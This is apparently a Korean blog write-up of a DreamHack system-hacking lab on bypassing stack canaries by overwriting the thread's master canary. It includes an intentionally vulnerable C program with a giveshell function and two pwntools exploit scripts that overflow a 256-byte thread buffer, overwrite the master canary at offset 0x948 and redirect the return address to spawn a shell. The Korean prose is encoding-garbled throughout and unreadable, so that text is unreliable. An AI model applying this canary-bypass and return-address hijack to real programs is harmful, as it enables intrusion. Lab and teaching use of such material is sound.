
์ค์ต ์์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read(0, buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
Thread Stack
์ค๋ ๋ ํจ์์์ ์ ์ธ๋ ๋ณ์๋ ์ผ๋ฐ์ ์ธ ํจ์์์ ์ฌ์ฉํ๋ ์คํ ์์ญ์ด ์๋ TLS์ ์ธ์ ํ ์์ญ์ ํ ๋น๋๋ ์ ์ด ๋ค๋ฅด๋ค.
ํ์ง๋ง ๋ฒํผ๋ฅผ ํ ๋นํ์ ๋ TLS ์์ญ์ ์กด์ฌํ๋ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์ฐธ์กฐํ๋ค๋ ์ ์ ๋์ผํ๋ค.
๋ค์์ pthread_create ํจ์ ์ฝ๋์ด๋ค.
#define THREAD_COPY_STACK_GUARD(descr) \
((descr)->header.stack_guard \
= THREAD_GETMEM (THREAD_SELF, header.stack_guard))
int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
void *(*start_routine) (void *), void *arg)
{
...
#ifdef THREAD_COPY_STACK_GUARD
THREAD_COPY_STACK_GUARD (pd);
#endif
/* Copy the pointer guard value. */
#ifdef THREAD_COPY_POINTER_GUARD
THREAD_COPY_POINTER_GUARD (pd);
#endif
/* Verify the sysinfo bits were copied in allocate_stack if needed. */
#ifdef NEED_DL_SYSINFO
CHECK_THREAD_SYSINFO (pd);
#endif
...
}
THREAD_COPY_STACK_GUARD ๋งคํฌ๋ก๋ฅผ ํตํด header.stack_guard์ ์์นํ๋ ๋ง์คํฐ ์นด๋๋ฆฌ ๊ฐ์ ๊ฐ์ ธ์จ๋ค.
์ค๋๋์์ ํ ๋นํ ๋ณ์๋ ๋ง์คํฐ ์นด๋๋ฆฌ๊ฐ ์์นํ๋ ์ฃผ์๋ณด๋ค ๋ฎ์ ์ฃผ์์ ์์นํ๊ธฐ ๋๋ฌธ์ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค๋ฉด ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ธ ์ ์๋ค.
๋ชจ๋ ํจ์์์๋ ํจ์๊ฐ ์คํ๋ ๋๋ง๋ค FS ์ธ๊ทธ๋จผํธ ๋ ์ง์คํฐ๋ฅผ ์ฐธ์กฐํด ํด๋น ์ฃผ์๋ก๋ถํฐ 0x28 ๋ฐ์ดํธ๋งํผ ๋จ์ด์ง ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ๊ฐ์ ธ์จ๋ค. ์ทจ์ฝ์ ์ ํตํด ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์์์ ๊ฐ์ผ๋ก ์กฐ์ํ ์ ์๋ค๋ฉด, ์คํ ์นด๋๋ฆฌ๋ฅผ ์์๋ผ ํ์ ์์ด ์ต์คํ๋ก์ ํ ์ ์๋ค.
์ฝ๋ ๋ถ์
์์์ ์ธ๊ธํ ์ค์ต ์์ ๋ฅผ ๋ถ์ํด๋ณด์.
๋ณดํธ ๊ธฐ๋ฒ ๐ก๏ธ
์ฝ๋ ๋ถ์ ๐
main ํจ์
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
thread_routine ํจ์
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read(0, buf, size);
}
์์ ์์๋ pthread_create ํจ์๋ฅผ ํตํด ์ค๋ ๋๋ฅผ ์์ฑํ์ฌ thread_routine์ ์์ฑํ๋ค.
ํด๋น ํจ์์์ ์ ๋ ฅํ size ๋งํผ 256๋ฐ์ดํธ ๋ฒํผ์ ๊ฐ์ ์ ๋ ฅํ ์ ์๊ธฐ ๋๋ฌธ์ ์คํ ๋ฒํผ ์ค๋ฒ ํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค.
์ต์คํ๋ก์ ์ค๊ณ
์ฃผ์ ๊ฑฐ๋ฆฌ ๊ณ์ฐ
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ์ผ๋ก ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ฐ๊ธฐ ์ํด์๋ ์ค๋ ๋์์ ํ ๋นํ ๋ฒํผ ์ฃผ์์ ๋ง์คํฐ ์นด๋๋ฆฌ์ ์ฃผ์์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ์ฐํด์ผ ํ๋ค. ์ด๋ ๋๋ฒ๊น ์ ํตํด ์์๋ผ ์ ์๋ค.
๋์ค์ด์ ๋ธ์ ํตํด ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ์ค์ ํ ์ ์๋ค.
๋์ค์ด์ ๋ธ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด, thread_routine+106์ thread_routine+121์ ํ์ธํ์ ๋ read ํจ์์์ [rbp-0x110] ์์น์ ์ ๋ ฅ๋ฐ๋ ๊ฑธ ์ ์ ์๋ค.
์ค์ ํ ๋ธ๋ ์ดํฌํฌ์ธํธ๊น์ง ์คํํ๊ณ , ํ์ธํ rbp-0x110 ์ฃผ์๊ฐ ์คํ ๋ฒํผ ์ฃผ์์ด๋ค.
์คํ ๋ฒํผ ์ฃผ์๋ฅผ ์์๋์ผ๋ ๋ง์คํฐ ์นด๋๋ฆฌ์ ์ฃผ์๋ฅผ ์์๋ด๊ณ ๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ ์์๋ด์ผ ํ๋ค.
๋ค์์ ์ฐ์ฐ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด๋ณด๋ฉด 0x948๋งํผ ๋จ์ด์ ธ ์๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
๋ง์คํฐ ์นด๋๋ฆฌ ๋ณ์กฐ
๋ฒํผ ์ฃผ์์ ๋ง์คํฐ ์นด๋๋ฆฌ์ ๊ฐ๊ฒฉ์ด 0x948 ๋ฐ์ดํธ์ด๋ฏ๋ก, 0x948๋ฐ์ดํธ ํจ๋ฉ๊ณผ ์์์ 8๋ฐ์ดํธ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์ํ๋ ๊ฐ์ผ๋ก ์กฐ์ํ ์ ์๋ค.
# Name: mc_thread.py
from pwn import *
p = process("./mc_thread")
payload = "A"*0x948
payload += p64(0x4141414141414141)
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()
๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ 0x4141414141414141 ๋ก ์กฐ์ํ ์ต์คํ๋ก์ ์ฝ๋์ด๋ค.
์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด, ์คํ ๋ฒํผ์ RBP, ๊ทธ๋ฆฌ๊ณ ๋ฆฌํด ์ฃผ์๋ฅผ ๋ชจ๋ "A"๋ก ๋ฎ์๋ค. ์นด๋๋ฆฌ์ ๋ฎ์ด์ฐ์ธ ์นด๋๋ฆฌ์ ๊ฐ์ด ๊ฐ์ผ๋ฏ๋ก ์คํ ์นด๋๋ฆฌ ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์๋ค.
์ต์คํ๋ก์์ ์คํํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Abort๊ฐ ๋ฐ์ํ์ง ์๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
RIP ์กฐ์
๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์กฐ์ํ๋ค๋ฉด, ์กฐ์ํ ์นด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ฐ๊ณ ๋ฆฌํด ์ฃผ์๋ฅผ ์ฃผ์ด์ง giveshell ํจ์๋ก ๋ฎ์ด์ฐ๋ฉด ์ ธ์ ํ๋ํ ์ ์์ต๋๋ค.
๋ค์์ ์ฝ๋๋ ์คํ ๋ฒํผ๋ฅผ ๊ฐ๋ ์ฑ์ฐ๊ณ , ์กฐ์ํ ์นด๋๋ฆฌ์ ๊ฐ์ ๊ฐ์ผ๋ก ๋ฎ์ด์ด ๋ค์ ๋ฆฌํด ์ฃผ์๋ฅผ giveshell๋ก ์กฐ์ํ ์ต์คํ๋ก์ ์ฝ๋์ด๋ค.
# Name: mc_thread.py
from pwn import *
p = process("./mc_thread")
elf = ELF('./mc_thread')
giveshell = elf.symbols['giveshell']
payload = "A"*264
payload += "A"*8 # canary
payload += "B"*8
payload += p64(giveshell)
payload += "A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack System Hacking] master_canary (0) | 2022.09.19 |
---|---|
[DreamHack System Hacking] Master Canary - (2) (0) | 2022.09.19 |
[DreamHack System Hacking] Master Canary (1) | 2022.09.19 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (5) (0) | 2022.05.01 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (4) (0) | 2022.05.01 |